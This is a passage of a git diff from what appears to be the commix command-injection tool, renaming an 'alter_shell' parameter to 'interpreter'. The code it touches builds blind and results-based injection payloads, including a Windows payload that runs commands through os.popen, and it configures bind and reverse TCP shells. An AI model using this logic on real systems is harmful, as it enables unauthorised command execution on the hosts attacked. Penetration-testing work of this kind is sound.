OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) # Check if defined single cmd. if menu.options.os_cmd: cmd = menu.options.os_cmd - enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) # Export injection result if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and len(output) > 1: - delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) # Pseudo-Terminal shell - if pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, no_result, timesec, payload, OUTPUT_TEXTFILE, url_time_response) == None: + if pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique, no_result, timesec, payload, OUTPUT_TEXTFILE, url_time_response) == None: continue else: return @@ -603,7 +603,7 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec stored_row = settings.STORED_TECHNIQUES.get(technique) if settings.LOAD_SESSION else None if stored_row: try: - url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.apply_stored_technique(stored_row) + url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, interpreter, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.apply_stored_technique(stored_row) url, prefix = session_handler.reapply_testable_value(url, vuln_parameter, http_request_method, prefix) if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: settings.FILE_BASED_STATE = True @@ -642,15 +642,15 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec randv2 = random.randrange(100) randvcalc = randv1 + randv2 - # Define alter shell - alter_shell = menu.options.alter_shell + # Define alternative interpreter + interpreter = menu.options.interpreter try: # File-based decision payload (check if host is vulnerable). - if alter_shell: + if interpreter: if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - payload = payloads.decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE) + payload = payloads.decision_alter_interpreter(separator, TAG, OUTPUT_TEXTFILE) else: - payload = payloads.decision_alter_shell(separator, TAG, randv1, randv2) + payload = payloads.decision_alter_interpreter(separator, TAG, randv1, randv2) else: if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: payload = payloads.decision(separator, TAG, OUTPUT_TEXTFILE) @@ -726,7 +726,7 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: # Delete previous shell (text) files (output) if 'vuln_parameter' in locals(): - delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) else: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) # Always raises; let injection_proccess() handle the skip/end/next/quit action. @@ -735,7 +735,7 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec except SystemExit: if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: if 'vuln_parameter' in locals(): - delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) else: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) raise @@ -773,7 +773,7 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec # Export session if not resumed: checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) - session_handler.import_injection_points(url, technique, injection_type, filename, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, exec_time=0, output_length=0, is_vulnerable=settings.INJECTION_LEVEL) + session_handler.import_injection_points(url, technique, injection_type, filename, separator, shell[0], vuln_parameter, prefix, suffix, TAG, interpreter, payload, http_request_method, url_time_response=0, timesec=0, exec_time=0, output_length=0, is_vulnerable=settings.INJECTION_LEVEL) else: whitespace = settings.WHITESPACES[0] cmd = maxlen = "" @@ -782,14 +782,14 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec if technique != settings.INJECTION_TECHNIQUE.FILE_BASED: OUTPUT_TEXTFILE = "" # Check for any enumeration options. - enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) # Check for any system file access options. - file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) # Check if defined single cmd. if menu.options.os_cmd: - enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) # Pseudo-Terminal shell - if pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, no_result, timesec, payload, OUTPUT_TEXTFILE, url_time_response) == None: + if pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique, no_result, timesec, payload, OUTPUT_TEXTFILE, url_time_response) == None: continue else: return diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index 884f2cd920..cd55864c22 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -53,7 +53,7 @@ def _abort_executor(executor, exc): """ The main time-realative command injection exploitation. """ -def time_related_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): +def time_related_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: from src.core.injections.blind.techniques.time_based import tb_payloads as payloads @@ -62,7 +62,7 @@ def time_related_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespa if settings.TARGET_OS == settings.OS.WINDOWS: previous_cmd = cmd - if alter_shell: + if interpreter: if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\"" else: @@ -213,7 +213,7 @@ def _measure_length(payload): # instead of redoing the whole bisection/validation dance. output_length = _cached_length found_chars = True - if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and not alter_shell: + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and not interpreter: # Convert leftover raw file output to decimal before extraction starts. payload = payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) _measure_length(payload) @@ -226,14 +226,13 @@ def _measure_length(payload): info_msg += "." if settings.VERBOSITY_LEVEL != 0 else ", please wait..." settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) - # The tempfile-based oracle now also tests <= (not just ==), so it bisects the same way - # as time-based - only the experimental alter_shell path is still exact-match-only. - if not (technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and alter_shell): + # Tempfile-based oracle now supports <=, so it bisects like time-based; only the experimental path remains exact-match-only. + if not (technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and interpreter): # Binary search the output length, mirroring _bisect_once() below. def _length_delayed(candidate): if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - if alter_shell: - payload = payloads.get_length_alter_shell(separator, cmd, candidate, timesec, http_request_method) + if interpreter: + payload = payloads.get_length_alter_interpreter(separator, cmd, candidate, timesec, http_request_method) else: payload = payloads.get_length(separator, cmd, candidate, timesec, http_request_method) else: @@ -329,9 +328,9 @@ def _validate_boundary(candidate): # The boundary check leaves raw output; convert it to decimal before extraction starts. _length_delayed(output_length) else: - # Experimental alter_shell path only - its oracle is still exact-match, not bisectable. + # Experimental interpreter path only - its oracle is still exact-match, not bisectable. for candidate_length in range(int(minlen), int(maxlen)): - payload = payloads.cmd_execution_alter_shell(separator, cmd, candidate_length, OUTPUT_TEXTFILE, timesec, http_request_method) + payload = payloads.cmd_execution_alter_interpreter(separator, cmd, candidate_length, OUTPUT_TEXTFILE, timesec, http_request_method) if _measure_length(payload): output_length = candidate_length found_chars = True @@ -611,12 +610,12 @@ def _extract_position(num_of_chars): nonlocal timesec char_pool = checks.generate_char_pool(num_of_chars) - if alter_shell: + if interpreter: # Alternative shells are still experimental. target = cmd if technique == settings.INJECTION_TECHNIQUE.TIME_BASED else OUTPUT_TEXTFILE def _delayed(candidate, operator, local_timesec): - payload = payloads.get_char_alter_shell(separator, target, num_of_chars, candidate, local_timesec, http_request_method, operator=operator) + payload = payloads.get_char_alter_interpreter(separator, target, num_of_chars, candidate, local_timesec, http_request_method, operator=operator) exec_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) # Use the adaptive threshold instead of fixed values calibrated to a timesec that may have shrunk. return checks.time_related_shell(url_time_response, exec_time, local_timesec) @@ -773,9 +772,9 @@ def _validate(candidate, local_timesec): """ The main results-based command injection exploitation. """ -def results_based_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique): +def results_based_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique): - def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique): + def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique): if technique == settings.INJECTION_TECHNIQUE.CLASSIC or technique == settings.INJECTION_TECHNIQUE.TIME_BASED: from src.core.injections.results_based.techniques.classic import cb_payloads as payloads elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: @@ -783,11 +782,11 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques else: from src.core.injections.semiblind.techniques.file_based import fb_payloads as payloads - if alter_shell: + if interpreter: if technique != settings.INJECTION_TECHNIQUE.FILE_BASED and technique != settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: - payload = payloads.cmd_execution_alter_shell(separator, TAG, cmd) + payload = payloads.cmd_execution_alter_interpreter(separator, TAG, cmd) else: - payload = payloads.cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE) + payload = payloads.cmd_execution_alter_interpreter(separator, cmd, OUTPUT_TEXTFILE) else: if technique != settings.INJECTION_TECHNIQUE.FILE_BASED and technique != settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: payload = payloads.cmd_execution(separator, TAG, cmd) @@ -807,13 +806,13 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques response, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) return response - response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) if technique == settings.INJECTION_TECHNIQUE.CLASSIC or technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: tries = 0 while not response: if tries < (menu.options.failed_tries / 2): - response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) tries = tries + 1 else: err_msg = "Something went wrong. The request has failed (" + str(tries) + ") times in a row." @@ -826,7 +825,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques """ False-positive check and evaluation. """ -def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique, retry_attempt=None, retry_total=None, silent=False): +def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, interpreter, exec_time, url_time_response, false_positive_warning, technique, retry_attempt=None, retry_total=None, silent=False): if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: from src.core.injections.blind.techniques.time_based import tb_payloads as payloads @@ -842,7 +841,7 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese timesec = timesec + random.randint(3, 5) # Verify the oracle with known logical properties; any failed relationship invalidates the round. - if settings.TARGET_OS != settings.OS.WINDOWS and not alter_shell: + if settings.TARGET_OS != settings.OS.WINDOWS and not interpreter: a, c, b = sorted(random.sample(range(1, 50), 3)) # End on a must-delay check; the caller re-validates the final exec_time. litmus_checks = [ @@ -884,7 +883,7 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese if settings.TARGET_OS == settings.OS.WINDOWS: previous_cmd = cmd - if alter_shell: + if interpreter: if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\"" else: @@ -899,11 +898,11 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese output_length = 1 if not silent and settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(".") - if alter_shell: + if interpreter: if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - payload = payloads.cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method) + payload = payloads.cmd_execution_alter_interpreter(separator, cmd, output_length, timesec, http_request_method) else: - payload = payloads.cmd_execution_alter_shell(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) + payload = payloads.cmd_execution_alter_interpreter(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) else: if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: payload = payloads.cmd_execution(separator, cmd, output_length, timesec, http_request_method) @@ -942,11 +941,11 @@ def _retry_confirm(payload): for ascii_char in range(1, 8): if not silent and settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(".") - if alter_shell: + if interpreter: if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - payload = payloads.fp_result_alter_shell(separator, cmd, 1, ascii_char, timesec, http_request_method) + payload = payloads.fp_result_alter_interpreter(separator, cmd, 1, ascii_char, timesec, http_request_method) else: - payload = payloads.fp_result_alter_shell(separator, OUTPUT_TEXTFILE, 1, ascii_char, timesec, http_request_method) + payload = payloads.fp_result_alter_interpreter(separator, OUTPUT_TEXTFILE, 1, ascii_char, timesec, http_request_method) else: if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: payload = payloads.fp_result(separator, cmd, 1, ascii_char, timesec, http_request_method) @@ -1181,7 +1180,7 @@ def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, times except UnicodeDecodeError: pass if settings.TARGET_OS == settings.OS.WINDOWS: - if menu.options.alter_shell: + if menu.options.interpreter: shell = [right_space.rstrip() for right_space in shell] shell = [left_space.lstrip() for left_space in shell] if "<<<<" in shell[0]: diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py index 91caecd069..de8d7d73f8 100755 --- a/src/core/injections/controller/shell_options.py +++ b/src/core/injections/controller/shell_options.py @@ -29,13 +29,13 @@ """ Execute the bind / reverse TCP shell """ -def execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, timesec, payload, OUTPUT_TEXTFILE, technique): +def execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, os_shell_option, timesec, payload, OUTPUT_TEXTFILE, technique): if technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: from src.core.injections.results_based.techniques.eval_based import eb_injector as injector # Command execution results. start = time.time() - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) end = time.time() diff = end - start # Evaluate injection results. @@ -45,13 +45,13 @@ def execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_ start = time.time() if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: from src.core.injections.semiblind.techniques.file_based import fb_injector as injector - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) else: from src.core.injections.results_based.techniques.classic import cb_injector as injector whitespace = settings.WHITESPACES[0] if whitespace == settings.SINGLE_WHITESPACE: whitespace = _urllib.parse.quote(whitespace) - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) end = time.time() diff = end - start # Evaluate injection results. @@ -60,14 +60,14 @@ def execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_ """ Configure the bind TCP shell """ -def bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique): +def bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique): settings.BIND_TCP = True # Set up RHOST / LPORT for the bind TCP connection. bind_tcp.configure_bind_tcp(separator) if settings.BIND_TCP == False: if settings.REVERSE_TCP == True: os_shell_option = "reverse_tcp" - reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique) + reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique) return go_back, go_back_again while True: @@ -83,23 +83,23 @@ def bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_reques settings.BIND_TCP = False elif result == 3: settings.BIND_TCP = False - reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique) + reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique) return go_back, go_back_again # execute bind TCP shell - execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, timesec, payload, OUTPUT_TEXTFILE, technique) + execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, os_shell_option, timesec, payload, OUTPUT_TEXTFILE, technique) """ Configure the reverse TCP shell """ -def reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique): +def reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique): settings.REVERSE_TCP = True # Set up LHOST / LPORT for the reverse TCP connection. reverse_tcp.configure_reverse_tcp(separator) if settings.REVERSE_TCP == False: if settings.BIND_TCP == True: os_shell_option = "bind_tcp" - bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique) + bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique) return go_back, go_back_again while True: @@ -115,16 +115,16 @@ def reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_req settings.REVERSE_TCP = False elif result == 3: settings.REVERSE_TCP = False - bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique) + bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique) return go_back, go_back_again # execute reverse TCP shell - execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, timesec, payload, OUTPUT_TEXTFILE, technique) + execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, os_shell_option, timesec, payload, OUTPUT_TEXTFILE, technique) """ Check commix shell options """ -def check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE): +def check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE): os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) if os_shell_option == "back" or os_shell_option == True or os_shell_option == False: @@ -141,12 +141,12 @@ def check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_m # The "bind_tcp" option elif os_shell_option == "bind_tcp": - go_back, go_back_again = bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique) + go_back, go_back_again = bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique) return go_back, go_back_again # The "reverse_tcp" option elif os_shell_option == "reverse_tcp": - go_back, go_back_again = reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique) + go_back, go_back_again = reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique) return go_back, go_back_again # The "quit" / "exit" options diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index 5e433b8e31..f64eacdeba 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -28,9 +28,9 @@ def injection_test_results(response, TAG, randvcalc, technique, payload=None): """ The main command injection exploitation. """ -def injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique): +def injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique): OUTPUT_TEXTFILE = "" - return injector.results_based_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + return injector.results_based_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) """ The command execution results. diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py index a6f7beae66..7804828c81 100755 --- a/src/core/injections/results_based/techniques/classic/cb_payloads.py +++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py @@ -61,7 +61,7 @@ def decision(separator, TAG, randv1, randv2): """ __Warning__: The alternative shells are still experimental. """ -def decision_alter_shell(separator, TAG, randv1, randv2): +def decision_alter_interpreter(separator, TAG, randv1, randv2): if settings.TARGET_OS == settings.OS.WINDOWS: if settings.SKIP_CALC: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'" + TAG + "')\"" @@ -126,7 +126,7 @@ def cmd_execution(separator, TAG, cmd): """ __Warning__: The alternative shells are still experimental. """ -def cmd_execution_alter_shell(separator, TAG, cmd): +def cmd_execution_alter_interpreter(separator, TAG, cmd): if settings.TARGET_OS == settings.OS.WINDOWS: if settings.REVERSE_TCP: payload = (separator + diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index 9e149d12ee..063c3ba9f8 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -28,9 +28,9 @@ def injection_test_results(response, TAG, randvcalc, technique, payload=None): """ The main command injection exploitation. """ -def injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique): +def injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique): OUTPUT_TEXTFILE = "" - return injector.results_based_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + return injector.results_based_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) """ The command execution results. diff --git a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py index 675857f5db..b134eb6cf7 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py @@ -89,7 +89,7 @@ def decision(separator, TAG, randv1, randv2): """ __Warning__: The alternative shells are still experimental. """ -def decision_alter_shell(separator, TAG, randv1, randv2): +def decision_alter_interpreter(separator, TAG, randv1, randv2): if settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print(str(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + ")))\"" if settings.SKIP_CALC: @@ -196,7 +196,7 @@ def cmd_execution(separator, TAG, cmd): """ __Warning__: The alternative shells are still experimental. """ -def cmd_execution_alter_shell(separator, TAG, cmd): +def cmd_execution_alter_interpreter(separator, TAG, cmd): if settings.TARGET_OS == settings.OS.WINDOWS: if settings.REVERSE_TCP: payload = (separator + cmd + settings.SINGLE_WHITESPACE diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 574c395ac6..ee870c733f 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -22,8 +22,8 @@ """ The main command injection exploitation. """ -def injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique): - return injector.results_based_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) +def injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique): + return injector.results_based_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) """ Find the URL 